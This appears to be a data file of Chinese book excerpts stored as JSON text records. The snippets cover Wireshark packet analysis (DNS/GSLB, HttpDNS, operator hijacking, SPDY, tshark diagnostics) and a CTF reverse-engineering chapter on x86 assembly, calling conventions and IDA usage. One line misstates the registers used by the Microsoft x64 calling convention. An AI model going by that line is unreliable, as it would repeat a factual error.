    {"text": "比如我有位同事的题库里有上百道题，内容涵盖了编程、操作系统、网络、存储……每次他就抽出十道来问，连合作多年的我都猜不出他下一次会问哪些。"},
    {"text": "以我个人的招聘经验，最值得花时间的就是总结自己过去的工作成果，因为这在面试官心目中有举足轻重的地位。 从一个人过去的工作经历中，能看出他的责任心、钻研精神、技术视野、交流能力，等等，比知识储备更有价值。"},
    {"text": "事实上这就是你发挥的最好机会，正确的表现应该是作沉思状，稍等片刻再回答，“我处理过不少有挑战性的问题，比如有关xxx的，不知道您对这方面是否感兴趣？"},
    {"text": "也不用担心面试官会对它不感兴趣，此刻他们正伪装成无所不知的上帝，无论你说什么，他们都会显出很懂的样子，“Wow，这是很知名的技术，我很想听听。"},
    {"text": "要抓住这个机会把他拉进来讨论，你可以这样附和，“对对对，我当时的看法和您一样，但是……”一起探索同一个问题非常有助于拉近你们的心理距离。"},
    {"text": "以我自己为例，我多年前应聘一个心仪的职位时，最后一轮的面试官是个美国geek，提问角度刁钻无比，因此我大多没有回答出来，现场写的程序也出错了。"},
    {"text": "最后他估计也不抱希望了，象征性地让我讲讲工作中解决过的棘手问题，我当时很不识相地说，“我遇到过不少关于TCP协议的，不知道您是否有兴趣听听？"},
    {"text": "几周后我第一天上班，他果然来找我聊天，其中有一句话我至今还记得，“虽然你当时有很多问题没答出来，但是最后那个案例体现了很好的钻研精神，让我意识到之前问你的题目没有选对。"},
    {"text": "这就是坚持写技术博客的价值之一，能用自己的语言表达出来才算真正理解并且记住了。 写作能强迫思考，对于真正有技术含量的东西，你会在写作过程中加深理解，从此就忘不掉了； 而技术含量不高的东西，你写个开头自然会停笔，从此忘掉也无所谓。"},
    {"text": "[2].本文的“拥塞点”翻译自英文文档中的“congestion point”，表示的是一个阈值。 在中文文档中也常用“拥塞点”来表示“发生拥塞的节点”，即“congestion node”。"},
    {"text": "这一部分介绍了如何在家中搭建一个环境来抓取手机上的WiFi网络包，分析了微博和微信等不同App的网络行为，揭露了家庭宽带如何被恶意劫持等。"},
    {"text": "之所以不用单个连接，是因为一个连接不可能时刻都在传输，有很多原因会导致它不得不短暂停滞。 当某一个连接停滞时，其它的连接还可以继续传输，这样就能最大限度地利用带宽。"},
    {"text": "从图7可见，360测速软件也选择了5个TCP连接来下载，端口号也是80，与电信的方式如出一辙。 原理是一模一样，差别只是服务器的响应速度，电信服务器为3.1毫秒，360服务器则是4.9毫秒，这也许就是结果略有不同的原因。"},
    {"text": "央视的专家估计也看到这个现象，所以认为这是一个设计缺陷，说“这种P2SP测速方法，它会去选择一些同样安装了这款软件的其他的连接节点来进行测速，只要其中有一个节点，它是在这个用户同一个小区宽带的子网里面，它的这个链路质量就非常好，网速就非常快”。"},
    {"text": "我认为这不是P2SP导致的，而是因为这些运营商侦查到360正在测速，于是立即劫持，转变成在限速点之内测速了。 如果真是这样，那也是运营商的问题，不能怪测速工具。"},
    {"text": "·搜到了一款叫tPacketCapture的工具，号称无需root也能抓，可是我的安卓测试机上不了Google Play。 真没想到手机抓包这么麻烦，相比之下电脑抓包实在太方便了，只要装个Wireshark就行，分分钟搞定。"},
    {"text": "这个问题让我想起了大学寝室的网络拓扑，当时我们寝室四个人只共享一个对外的网口，所以就在我的电脑上装了两个网卡，网卡1对外，网卡2和室友们的电脑连在一个交换机上，如图2所示。 图2 这样室友们的对外流量就是通过我的“网卡2→网卡1”出去了，理论上只要在我的网卡上抓包，就能知道哪位室友在和女神聊QQ，哪位室友在祝楼主好人一生平安了（兄弟们饶命，我就说说而已，没有真抓过）。 假如把我家的网络拓扑也改成这样，让手机也通过我的电脑上网，不就可以用Wireshark抓到手机连WiFi时的包了吗？ 当前我家的网络拓扑如图3所示，手机的网络包都通过无线路由器出去了，我得改造一下，让它们走一台已经淘汰不用的台式机。 图3 线路改造只花了几分钟：我先把无线路由器撤掉，再把入户modem直接连到台式机的网卡1上，这样台式机就可以上网了。 接下来只要把台式机的网卡2（无线的）设为热点，就能供手机上网了。"},
    {"text": "图7 4．在手机上扫到热点，输入密码就连上了，如图8所示。 图8 5．在台式机上打开Wireshark，从Capture Interfaces可以看到4个连接，勾上我们感兴趣的无线网络就可以了，本地连接没必要抓。"},
    {"text": "之前我手机上配的DNS服务器位于美国，可能有时候跨国连接不稳定，所以导致了微博的卡顿现象。 考虑到这一点，我尝试配了一个国内的DNS（见图5），果然从此再也没卡过了，刷起来异常流畅。"},
    {"text": "据我所知，苹果的App Store和小米电视也遭遇过DNS导致的性能问题，所以相信还有很多设备或者程序可以利用Wireshark来优化，只要把使用过程的包都抓下来，说不定就能发现值得改进的地方。"},
    {"text": "我们都知道上网的时候需要先把域名解析成IP地址，比如我在浏览器中输入www.qq.com再按回车，就会通过DNS查询到该域名所对应的IP，然后再与之建立连接。"},
    {"text": "上海电信用户解析到了101.226.129.158（见图1）。 经查证，该IP属于上海电信 [1] 。 图1 北京联通用户解析到了61.135.157.156（见图2）。 经查证，该IP属于北京联通。"},
    {"text": "原来DNS支持GSLB（Global Server Load Balance，全局负载均衡），能根据DNS请求所包含的源地址返回最佳结果，从而匹配同地区、同运营商的IP，使用户体验到最好的性能。"},
    {"text": "图3的腾讯GSLB服务器其实并不是通过用户的地址来判断该返回什么IP的，而是根据DNS服务器的地址来判断的。 假如上海电信用户偏偏要配一个北京联通的DNS地址，那它发送DNS查询时，就是由北京联通转给GSLB的，因此会解析到属于北京联通的IP地址。"},
    {"text": "还有些用户配的是在美国的DNS服务器8.8.8.8，那就可能解析到一个位于美国的IP地址（启用了谷歌扩展协议的客户端除外），网速就更差了。"},
    {"text": "它允许手机上的App直接查询腾讯自家的HttpDNS服务器，因此能根据用户的地址来判断应该返回什么IP，从而跳过传统DNS的影响。 换句话说，就是腾讯觉得用传统DNS不靠谱，所以自己做了一套解析方式，只不过这套方式是走HTTP协议的，图4演示了这个过程。"},
    {"text": "根据“鹅厂网事”的宣传，似乎在内部已经推广了： “HttpDNS已在腾讯内部接入了多个业务，覆盖数亿用户，并已持续稳定运行超过一年时间。 而接入了HttpDNS的业务在用户访问体验方面都有了非常大的提升……国内最大的public DNS服务商114DNS在受到腾讯DNS的启发下，也推出了HttpDNS服务……” 这个宣传听上去非常吸引人。 去年发生过一次全国性的DNS瘫痪，当时鹅厂的几个应用（比如QQ和微信）都能正常使用，似乎就是一个有力的佐证。 连鹅厂的竞争对手似乎也加入了宣传，比如淘宝的官方微博发过一条消息，称“手机淘宝使用专为移动设计的方案”不会受到DNS瘫痪的影响。 当时也有圈内牛人出来解释，说这意味着手淘也开始用上HttpDNS了。 总而言之，如果你对技术圈的八卦消息感兴趣，一定会觉得HttpDNS已经快颠覆DNS了。"},
    {"text": "·电脑上很多应用程序也依赖DNS解析，而且在电脑上很容易配错DNS服务器，理论上出问题的概率更大，为什么就不部署HttpDNS？ 而手机上的DNS地址一般是运营商自动分配的，出问题的概率小，为什么反而要部署？ ·即便运营商分配的DNS有问题，那也可以通过行政手段来解决，何必要为此大动干戈呢？"},
    {"text": "·手机淘宝：一旦出现DNS问题就无法登录，但是登录后再出DNS问题就不怕了，因为它有缓存IP。 ·手机QQ：出现DNS问题时也能用，因为它可以直接用（可能存在配置文件里的）IP，因此受DNS瘫痪的影响最小。"},
    {"text": "于是我打开网络包，用dns作了过滤，发现www.17g.com被解析到了IP地址123.125.29.243（它还有一个别名叫w3.dpool.sina.com.cn，见图1）。"},
    {"text": "可惜这位网友抓包的时候电脑上开了太多应用，所以干扰包很多，无法采用暴力方式来分析（就是指不过滤，用肉眼把所有包都一一看过的分析方式）。 如果用“ip.addr eq 123.125.29.243”过滤则得到图2的结果，似乎平淡无奇，只是显示有些包乱序了，但不知道这意味着什么。"},
    {"text": "在正常情况下，用户发出的HTTP请求（即图中的①）经过层层路由才能到达真实的Web服务器，然后真实的HTTP响应（即图中的③）又经过层层路由才能回到用户端。"},
    {"text": "这是因为假服务器伪造的包抢先到达，增加了Seq号，因此等到真服务器发出的包到达时，Seq号已经对不上了。 Wireshark还没有智能到能判断真假包的程度，只能根据Seq号的大小提示乱序了。"},
    {"text": "当今网络的两个特征，导致HTTP 1.1已经成为性能瓶颈 [2] ： ·现在网络的带宽比20世纪大得多，家庭带宽普遍在10兆以上，有些运营商甚至提供200兆的家庭套餐。"},
    {"text": "图1显示的是一个典型的网页打开过程，客户端只和服务器建立了一个TCP连接，然后从服务器上依次GET了三个资源，每个的数据量都很小，3个包就能完成，即1-3，4-6，7-9。"},
    {"text": "也不可以的，定义了HTTP 1.1的RFC 2616明确把最大连接数限制为2个，原文如下： Clients that use persistent connections SHOULD limit the number of simultaneous connections that they maintain to a given server.A single-user client SHOULD NOT maintain more than 2 connections with any server.（使用长连接的客户端应当限制和某一台服务器的同时连接数。"},
    {"text": "这在技术上也不是没有可能，说不定Google和Microsoft之类的公司就有这样的实力，但是在商业上完全不可行——在当前如此庞大的网络规模面前，谁也没有实力去推动所有网站、运营商和客户端做出改变。"},
    {"text": "其中最出色的是Google推出的SPDY协议，它只是在HTTP和TCP之间增加了一层，从而支持多路复用等功能（即在一个TCP连接里并行处理多个HTTP请求），很容易得到现有网站和客户端的支持。"},
    {"text": "目前几乎所有主流浏览器都支持SPDY，比如在Chrome上可以通过“chrome://flags”启用它，如图5底部所示。 国外的主流网站也都支持SPDY，比如Facebook、Wordpress、YouTube和Twitter等，可惜这些网站我们都没有条件测试。"},
    {"text": "就像Windows上自带的FTP客户端有个存在多年的bug，测试时很难发现，但用Wireshark一打开就一目了然，详情可见我上一本书中的《一个古老的协议——FTP》。"},
    {"text": "当然提前上传也有负面作用：假如用户选定了多张图片并点击“下一步”，但是在发送前又改变主意了，于是点了“取消”，这样用户以为自己没有发过任何图片，但其实多张图片的流量都浪费了。 ·3.9MB的图片只用了320KB的流量，说明微博APP在上传图片之前会先大幅度压缩，这就是为什么美女们好不容易PS完照片发出去，看到的效果却很糟糕。 用网页版上传就不会压缩得这么严重，这也许是因为产品经理考虑到手机用户是按流量计费的，而网页版用户一般都用包月宽带。"},
    {"text": "只有526号包“GET/webp360/70398db5 jw1epzpi0g292j20xc18 gdo8.jpg”比较令人疑惑，为什么点发送的时候还会有GET图片的操作？"},
    {"text": "如图3所示，客户端通过GET下载了一张图片，“Content-Length：155971”说明下载的所谓大图比上传时的还小，只剩下156KB左右了，又压缩掉一半。"},
    {"text": "图3 微博大图上还有个“原图”按钮，我一点击又产生了图4的流量，这次下载的图是320KB左右。 可见微博认为的原图是APP上传前压缩过的那个，比起真正的原图（3.9MB）还是小很多。"},
    {"text": "我身边还有很多“不务正业”的朋友，比如读化学出身的冬瓜头，年纪轻轻便写了本书叫《大话存储》，把存储技术的方方面面都覆盖到位了，而我这个在存储行业摸爬滚打了十来年的老人却只懂文件系统和卷这两层。 另一位朋友@馒头家的花卷也是如此，这几年翻译了好多本IT方面的书，从操作系统到密码学都有涉及，更神奇的是他还是果壳科普达人，还有个三产是做音响服务的。"},
    {"text": "不光技术方面，历史、政治等学科也可以用这个方式来入门，因为词条之间的关联性非常有助于形成初步的知识体系，而不是没有关联的孤立知识点。"},
    {"text": "其实没有必要买那么多，大部头的买一本足矣，关键是要真的去读。 像我这种铁公鸡类型的就不会犯这种错误，买书的时候精挑细选，买来之后读不完还觉得亏了。"},
    {"text": "现在还有很多书是可以免费在线阅读的，比如《The TCP/IP Guide》，觉得对胃口的话再点击Donate按钮给作者付点钱表示感谢，我惊奇地发现付钱之后会读得更加认真，付得越多效果越好。"},
    {"text": "比如你可能已经把教材上的TCP流控理论都背得滚瓜烂熟了，但是遇到网络性能问题还是会手足无措，完全应用不上书里学过的知识。 这就需要在读书的同时辅以动手训练，如果你在Wireshark里看过了拥塞重传，看过了TCP zero window，甚至动手解决了它，从此流控技术就会像游泳、骑车一样成为你的自带属性，经年不忘。"},
    {"text": "比如说，你也可以利用tshark命令开发一个监控上网记录的工具，用“tshark-r(file_name)-Y“http.request.full_uri”-T fields-e http.request.full_uri”一句命令就可以生成原始数据，然后再编程做二次分析。"},
    {"text": "这就像用货车从北京往上海运1000个包裹，假如每次能运100个，那10个来回时间就搞定了。 而假如每次只能运1个，就得跑1000个来回，那浪费在路上的时间就非常可观了。"},
    {"text": "图4 图5则是我上一本书的《深藏功与名》文章中提到过的某银行案例，根本原因是网络拥塞导致的丢包，而且SACK也没有启用，两个根源都被这工具分析出来了。"},
    {"text": "以后抓到新的包，就可以用这些已知特征逐个去套，一旦发现匹配得上的就提示用户。 比如我已知有20个原因会影响网络性能，每个原因在网络包中都会有一些特征，就可以在新抓的网络包里用这20个特征去逐个匹配。"},
    {"text": "不只是网络性能问题，任何网络相关的技术领域都可以采用这个方法，比如从事Windows Domain相关工作的技术人员，可能保存着上百个常用的微软KB，其中包括DNS解析出错、Authenticator过大、UDP包被切分丢弃，等等。"},
    {"text": "基于这两点，选用tshark来匹配已知的特征是最合适的，如果你已经在上一步整理出了20个特征，那么再编辑20条tshark命令就基本可以搞定了。"},
    {"text": "简单举个的例子，已知性能问题的特征之一是TCP重传，那执行下面的命令就可以匹配了： tshark-n-q-r<file_name>-z io，stat，0，tcp.analysis.retransmission，“tcp.analysis.retransmission and ip.src==<IP_A>”，“tcp.analysis.retransmission and ip.src==<IP_B>” 输出示例如下： 图6 在图6的输出中，列1的Frames表示所有重传包数，列2表示从IP_A到IP_B的重传包数，列3表示从IP_B到IP_A的重传包数。"},
    {"text": "当你不知道某个特征所对应的tshark命令是什么的时候，可以尝试从Wireshark中把它找出来，然后右键点击该特征，选择“Prepare a filter”→“Selected”，就可以在过滤栏生成表达式了，如图7所示。"},
    {"text": "图7 还有些命令是不能用这个方法找到的，只能自己查tshark的官方文档了，链接为http://www.wireshark.org/docs/man-pages/tshark.html。"},
    {"text": "这个程序可得好好设计，因为它关系到运行效率（当你抓到的网络包非常大时，就会发现运行效率是极其重要的，否则等半个小时都没有结果）。"},
    {"text": "我们可以根据端口号来判断，比如端口号为80时，就调用HTTP相关的命令； 端口号为445时，就调用CIFS相关命令……还有些实在无法用程序自动判断的，可以由用户来辅助完成。"},
    {"text": "作为一个有强迫症的伪产品经理，我还想强调细节的重要性，比如网络包分析过程中，一定要在页面上显示一个转动的菊花来延长用户的耐心，见图8。"},
    {"text": "邻桌正在激情澎湃地讨论“盈利模式”、“估值”、“收购”、“A轮B轮C轮”……上周还听到一位从阿里离职的工程师在怂恿同伴出来一起开发手机APP，展望前景的语气让我想起了安利的培训。"},
    {"text": "比如我司的服务器就是完全封闭的，第三方厂商根本不知道怎么修改。 有些服务器虽然就是普通的Linux或者Windows，技术上能够修改，但是厂商声明一旦动了协议栈就不再提供技术支持。"},
    {"text": "如图2所示，只要在两个站点的出口各自架设一台加速器，代理两个站点之间的所有TCP连接，就可以满足以上所有需求。 由于每台加速器与同站点设备之间的网络状况良好，所以瓶颈只会落在两台加速器之间的网络上，我们只需花心思提升这段网络的性能即可。"},
    {"text": "丢包对性能的影响极大，可以说是网络传输的第一大忌，具体原因我都在上一本书中阐述了，这里再简单解释一下：传统TCP的流控机制是一旦丢包就认为发生了拥塞，所以发送方会急剧地减小发送窗口，甚至进入短暂的等待状态（即超时重传）。"},
    {"text": "一番分析下来，发现这两个问题还是很棘手的，但是不用担心，我们还手握王牌呢——在加速器上可以大做文章，大幅度缓解这两个问题所带来的影响。"},
    {"text": "我做了一个从台湾机房往上海机房传数据的实验，一般情况下的往返时间为74毫秒（见图4方框中的RTT），而拥塞丢包发生前会逐渐增加到1.69秒以上。"},
    {"text": "想象一台启用了传统TCP协议栈的服务器和一台启用了Vegas的服务器抢带宽，当拥塞即将出现时，用Vegas的那台监测到了延迟并主动放慢速度，从而缓解了拥塞，但传统的那台却得寸进尺，一直激进地抢带宽。"},
    {"text": "本书包括13章内容，技术介绍分为线上赛和线下赛两部分。 线上赛包括10章，涵盖Web、PWN、Reverse、APK、Misc、Crypto、区块链、代码审计。 线下赛包括2章，分别为AWD和靶场渗透。"},
    {"text": "第5章 逆向工程 逆向工程（Reverse engineering）是一种技术过程，即对一项目标产品进行逆向分析及研究，从而演绎并得出该产品的处理流程、组织结构、功能性能规格等设计要素，以制作出功能相近但不完全一样的产品的过程。 在CTF中，逆向工程一般是指软件逆向工程，即对已经编译完成的可执行文件进行分析，研究程序的行为和算法，然后以此为依据，计算出出题人想隐藏的flag。 5.1 逆向工程基础 5.1.1 逆向工程概述 一般，CTF中的逆向工程题目形式为：程序接收用户的一个输入，并在程序中进行一系列校验算法，如通过校验则提示成功，此时的输入即flag。"},
    {"text": "下面简单介绍可执行文件的形成过程、常见可执行文件类型，以便读者对它们有一个初步的认知。 1．可执行文件的形成过程（编译和链接） 对于刚刚接触这方面的读者，形成一个正确的对可执行文件的理解和感觉是至关重要的。"},
    {"text": "一般来说，编译时会发生这些流程： <1> 用户将一组用高级语言编写的源代码作为编译器输入。 <2> 编译器解析输入，并为每个源代码文件产生对应的汇编代码。 <3> 汇编器接收编译器生成的汇编代码，并继续执行汇编操作，将生成的每份机器代码临时存于各对象文件中。"},
    {"text": "而在实际的环境中，由于需要考虑到生成的可执行文件的大小、可执行文件的运行性能、对信息的保护等原因，在每步过程中或多或少伴随着信息的丢失。"},
    {"text": "例如，在编译阶段一般会丢弃掉源代码中的注释信息，在汇编时可能丢弃汇编代码中的label（标签）名称，在链接时可能丢弃函数名、类型名等符号信息。"},
    {"text": "PE和ELF的基本格式细节现均已经完全公开，并且已经有大量的成熟工具可对其进行解析与修改，在此不再对这些格式的细节进行详细讲解，请感兴趣的读者自行查阅相关资料。"},
    {"text": "5.1.3 汇编语言基本知识 逆向者在解析文件后，面对的是一大片机器代码，而机器代码是由汇编语言直接生成的，因此逆向者需要对汇编有基本的认识才可以展开后续工作。"},
    {"text": "一般的IA-32（Intel Architecture，32-bit）即x86架构的处理器中包含以下在指令中显式可见的寄存器： ❖ 通用寄存器EAX、EBX、ECX、EDX、ESI、EDI。"},
    {"text": "❖ SF：符号标志（Sign Flag），有符号整形的符号位为1时置1，代表这是一个负数。 ❖ ZF：零标志（Zero Flag），当运算结果为全零时置1。 ❖ OF：溢出标志（Overflow Flag），运算结果在被操作数是有符号数且溢出时置1。 ❖ CF：进位标志（Carry Flag），运算结果向最高位以上进位时置1，用来判断无符号数的溢出。"},
    {"text": "CPU不仅可对寄存器进行操作，还可对内存单元进行操作，因此存在多种不同的寻址方式。 表5-1-1给出了CPU的不同寻址方式、示例及对应的操作对象。"},
    {"text": "在x86/x64架构中，寄存器间接寻址、基址寻址、变址寻址、基址加变址寻址这4种寻址方式在实现的功能方面几乎相同，但语义上是有区别的。"},
    {"text": "在16位时代，这4种寻址方式不可混用，在现代编译器中，编译器会根据语义和优化选择合适的寻址方式，对于CTF参赛者来说，只需稍作了解即可。"},
    {"text": "入门阶段的CTF参赛者并不需要掌握如何流畅地编写汇编语言程序，只需掌握下面介绍的常见指令，并在遇到这些常见的汇编指令时可以读懂即可。"},
    {"text": "我们需要知道正确的指令的起始位置（如label，中文译为“标签”，用来表示程序的一个位置，方便跳转、取地址时引用）来指引反汇编工具正确解析代码。"},
    {"text": "递归下降反汇编算法则是人们在发现线性扫描反汇编算法的种种问题后创造的一种新算法，不是简单地解析指令并显示，而是尝试推测执行每条指令后程序将如何执行。"},
    {"text": "例如，普通指令在执行后将直接执行下一条，无条件跳转指令会立即跳到目标位置，函数调用指令会临时跳出再返回继续执行，返回指令则会终止当前的执行流程，条件跳转指令则可能分出两条路径，在不同的条件下走向不同的位置。"},
    {"text": "4．调用约定 随着软件规模增大，开发人员不断增多，函数之间的关系同步变得越来越复杂，如果每个开发人员使用不同的规则传递函数参数，则程序往往会出现各种匪夷所思的错误，程序的维护开支会变得非常大。"},
    {"text": "（1）x86 32位架构的调用约定 ❖ __cdecl：参数从右向左依次压入栈中，调用完毕，由调用者负责将这些压入的参数清理掉，返回值置于EAX中。"},
    {"text": "（2）x86 64位架构的调用约定 ❖ Microsoft x64位（x86-64）调用约定：在Windows上使用，依次将前4个参数放入RDI、RSI、RDX、RCX这4个寄存器，然后将剩下的参数从右至左压入栈中。 ❖ SystemV x64调用约定：在Linux、MacOS上使用，比Microsoft的版本多了两个寄存器，使用RDI、RSI、RDX、RCX、R8、R9这6个寄存器传递前6个参数，剩下的从右至左压栈。"},
    {"text": "考虑到这种特性，人们将局部变量存放在栈上，在每次函数被调用时，程序从栈上分配一段空间，作为存储局部变量的区域。 每个函数在被调用的时候都会产生这样的局部变量的区域、存储返回地址的区域和参数的区域，见图5-1-2。"},
    {"text": "然而，栈的内存区域并不一定是固定的，而且随着每次调用的路径不同，栈帧的位置也会不同，那么如何才能正确引用局部变量呢？ 虽然栈的内容随着进栈和出栈会一直不断变化，但是一个函数中每个局部变量相对于该函数栈帧的偏移都是固定的。"},
    {"text": "所以可以引入一个寄存器来专门存储当前栈帧的位置，即ebp，称为帧指针。 程序在函数初始化阶段赋值ebp为栈帧中间的某个位置，这样可以用ebp引用所有的局部变量。 由于上一层的父函数也要使用ebp，因此要在函数开始时先保存ebp，再赋值ebp为自己的栈帧的值，这样的流程在汇编代码中便是经典的组合： 现在每个函数的栈帧便由局部变量、父栈帧的值、返回地址、参数四部分构成。 可以看出，ebp在初始化后实际上指向的是父栈帧地址的存储位置。"},
    {"text": "1．IDA Pro IDA（Interactive DisAssembler）Pro（以下简称IDA）是一款强大的可执行文件分析工具，可以对包括但不限于x86/x64、ARM、MIPS等架构，PE、ELF等格式的可执行文件进行静态分析和动态调试。"},
    {"text": "IDA集成了Hex-Rays Decompiler，提供了从汇编语言到C语言伪代码的反编译功能，可以极大地减少分析程序时的工作量，其界面见图5-1-3和图5-1-4。"},
    {"text": "2．OllyDbg和x64dbg OllyDbg是Windows 32位环境下一款优秀的调试器，最强大的功能是可扩展性，许多开发者为其开发了具备各种功能的插件，能够绕过许多软件保护措施。"},
    {"text": "图5-1-3 图5-1-4 图5-1-5 图5-1-6 表5-1-4 图5-1-7 图5-1-8 4．GDB GDB（GNU Debugger）是GNU提供的一款命令行调试器，拥有强大的调试功能，并且对于含有调试符号的程序支持源码级调试，同时支持使用Python语言编写扩展，一般用到的扩展插件为gdb-peda、gef或pwndbg。"},
    {"text": "图5-1-9 图5-1-10 图5-1-10（续） 5.2 静态分析 逆向工程的最基本方法是静态分析，即不运行二进制程序，而是直接分析程序文件中的机器指令等各种信息。"},
    {"text": "图5-2-1 在界面中单击“New”按钮，并在弹出的对话框中选择要打开的文件，也可以单击“Go”按钮，然后在打开的界面中将文件拖曳进去，或者通过单击“Previous”按钮、双击列表项等快速打开之前打开过的文件。"},
    {"text": "用户可以通过file等工具来查看文件的架构信息，不过更方便的方案是随便打开一个架构的IDA，然后在加载的时候即可知道文件的架构信息，见图5-2-2，IDA显示此文件为x86-64架构的ELF64文件，所以换用64bit版本的IDA再次打开即可，打开后会弹出“Load a new file”对话框。 图5-2-2 2．加载文件 “Load a new file”对话框中的选项主要针对高级用户，初学者可以使用默认设置，不需改动，单击“OK”按钮，加载文件进入IDA。"},
    {"text": "在加载文件的过程中，IDA已经尽其所能，为用户自动定义了大量位置的类型，如IDA将代码段的多数数据正确标注为代码类型，并对其进行了反汇编，将特殊段的部分位置标注为8字节整型qword。 然而，IDA的能力是有限的，一般情况下并不能正确标出所有的数据类型，而用户可以通过正确定义1字节或一段区域的类型，来纠正IDA出现的问题，从而更好地进行反汇编工作。"},
    {"text": "❖ 定义函数：在反汇编窗口中选中对应行后，按P键。 ❖ 修改函数参数：在函数窗口中选中并按Ctrl+E组合键，或在反汇编窗口的函数内部按Alt+P组合键。"},
    {"text": "6．类型操作 IDA开发了一套类型分析系统，用来处理C/C++语言的各种数据类型（函数声明、变量声明、结构体声明等），并且允许用户自由指定。"},
    {"text": "8．IDAPython IDAPython是IDA内建的一个Python环境，可以通过接口进行数据库的各种操作，目前它已经可以执行绝大多数IDA SDK中的C++函数和所有IDC函数，可以说是同时有着IDC的便捷和C++SDK的强大。"},
    {"text": "按Shift+F2组合键，或选择“ File → Script command ”菜单命令，可以打开脚本面板，将“ Scripting language ”改为“Python”，即可获得一个简易的编辑器，见图5-2-8。"},
    {"text": "图5-2-9 Strings窗口： 按Shift+F12组合键即可打开，见图5-2-10，可以识别程序中的字符串，双击即可在反汇编窗口中定位到目标字符串。"},
    {"text": "图5-2-10 5.2.2 HexRays反编译器入门 5.2.1节介绍的IDA的基本操作是让IDA正确识别一个位置的数据类型和函数，这些操作部分还原了在可执行文件（见2.4.7节）中提到的链接器、汇编器造成的信息丢失。"},
    {"text": "1．生成伪代码 本节配套文件为 2-simpleCrackme 。 要使用这个插件，需要先让它生成伪代码。 生成伪代码所需的操作非常简单，只要在反汇编窗口中定位到目标函数，按F5键即可。 插件运行完毕，会打开一个窗口，显示反编译后的伪代码，见图5-2-11。"},
    {"text": "2．伪代码构成 HexRays生成的伪代码是有一定的结构的，每个函数反编译后，第一行都为函数的原型，然后是局部变量的声明区域，最后是函数的语句。"},
    {"text": "因此，HexRays为用户提供了更改标识符名称的功能：将光标移动到标识符上，然后按N键，弹出更改名称的对话框，在输入框中输入一个合法的名称，单击“OK”按钮即可。"},
    {"text": "图5-2-11 注意：IDA一般允许使用符合C语言语法的标识符，但是将某些前缀作为保留使用，在手动指定名称时，这样的前缀不能被使用，请读者在被提示错误后根据提示换一个名称。"},
    {"text": "❖ Char：将常量转为形如'A'的格式，快捷键为R键。 ❖ Enum：将常量转为枚举中的一个值，快捷键为M键。 ❖ Invert sign：将常量按照补码解析为负数，快捷键为_键。 ❖ Bitwise negate：将常量按位取反，形如C语言中的～0xF0，快捷键为～键。"},
    {"text": "提示： byte-1字节整型，8位，char、__int8； word-2字节整型，16位，short、__int16； dword-4字节整型，32位，int、__int32； qword-8字节整型，64位，__int64、long long。"},
    {"text": "对于这个程序，根据计算，实际上这3个变量应为以v6开头的一个长度为28（16+8+4）的char数组，故其对应的C类型声明为char[28]（在类型声明中可以省略标识符）。"},
    {"text": "按Shift+F1组合键，调出Local Types窗口，从中可以操作C的各种类型：按Insert键，或者单击右键，弹出添加类型的对话框，见图5-2-17，从中输入符合C语言简单语法的类型后，IDA会解析并存储其中的类型。"},
    {"text": "图5-2-17 添加自定义类型后，在设置变量类型时使用这些类型，HexRays会自动根据类型进行相应的解析操作，如显示结构体的访问、显示枚举等。"},
    {"text": "在逆向过程中可能出现各种类型识别错误的情况，我们需要利用C语言编程的经验，来正确地设置结构体、普通指针、结构体指针、整型等变量。"},
    {"text": "HexRays的类型变化一般情况下可以将一个变量的长度强行增加（如上文所说的改为char[28]），但是将一个长的变量改短时往往会报警“Sorry，can not change variable type”（如将上文的char[28]的变量改回char[27]，则会报错），所以 将变量加长时需要谨慎 。"},
    {"text": "1．如何找main函数 在Windows和Linux下，很多可执行文件都不是直接从main()函数开始执行的，而是经过CRT（C语言运行时）的初始化，再转到main()函数。 找main()函数的技巧如下： ❖ main()函数经常在可执行文件的靠前位置（因为很多链接器是先处理对象文件后处理静态库）。 ❖ VC的入口点（IDA中的start()函数）会直接调用main()函数，在start()函数中被调用的函数有3个参数，并且返回值被传入exit()函数的，可以重点查看。 ❖ GCC将main()函数的地址传入__libc_start_main来调用main()函数，查看调用的参数即可找到main()函数的地址。"},
    {"text": "2．手动应用FLIRT签名 在IDA中，有一类函数与众不同：函数列表中的底色为青色，在导航条中的对应区域也会显示为青色。 这实际上是IDA的 FLIRT函数签名识别库 在起作用。 按Shift+F5组合键，可以打开Signature列表，其中会显示已经应用的函数签名库，见图5-2-18。"},
    {"text": "在刚才打开的函数签名库列表中按Insert键，可以新增需要匹配的函数签名库，见图5-2-20。 图5-2-20 按照描述应用合适的函数签名库，即可识别出大量的函数，见图5-2-21。"},
    {"text": "绝大多数出错的原因是 与这个函数相关的某些参数设置错误 ，如这个函数中调用其他函数的调用约定出现错误，导致参数解析失败或调用前后栈不平衡。 例如，一个使用__stdcall的函数被误认为使用__cdecl调用约定，两个调用约定清理参数空间的方法不一样，导致跟踪栈指针时出现问题； 又如，一个__thiscall被错误地识别成了__fastcall，则函数会多出一个不存在的参数； 或者因为种种原因，某个__fastcall函数被错误识别成了__cdecl函数，而参数个数都是1，这时反编译器没有办法找到在栈上的参数，因为它实际上是使用的寄存器传参。"},
    {"text": "（1）call analysis failed（见3-UPX_packed_dump_SCY.exe） 首先，使用前文提到的找main()函数的技巧，可以快速在start()函数中找到对main()函数的调用，见图5-2-22。"},
    {"text": "图5-2-22 图5-2-23 假如将sub_271010的类型从原来的“ int__thiscall sub_271010（_dword） ”改为“ int__cdecl sub_271010（_dword） ”，则反编译器会自动重新反编译进行刷新，弹出“call analysis failed”的提示，见图5-2-24。 实际上，其错误的根源是反编译器在寻找函数调用的参数的时候出现了错误，这时只需根据对话框前面的地址，找到出错的位置，然后修复函数的原型声明即可。 本例出错的地址为0x271006，按G键跳转到目标地址，可以看到“ call sub_271010 ”，正好为刚才修改的函数。 将sub_271010的函数原型改回原来的，即可重新正常反编译。"},
    {"text": "图5-2-24 (2)sp-analysis failed 这种错误的原因是，当优化等级较高时，编译器将省略帧指针rbp的使用，转而使用rsp引用所有的局部变量。"},
    {"text": "读者在遇到这种问题时，只需 一点点看完这些栈指针 ，将其与正常栈指针的变化规律相比较，就可以快速找出有问题的地方，并相应进行修改，即可大功告成。"},
    {"text": "4．探索IDA的其他功能 IDA能干的工作远远不止于此，读者可以了解更多IDA的功能和使用方式，如：翻阅IDA的菜单，查看不同地方的右键快捷菜单，查看“ Options→Shortcuts ”中显示的所有快捷键的列表等。"},
    {"text": "然后一行行跟踪程序的执行，根据需要，选择进入一个函数或略过一个函数； 在跟踪的过程中查看程序各变量的值，从而了解程序的内部状态，方便找到问题。"},
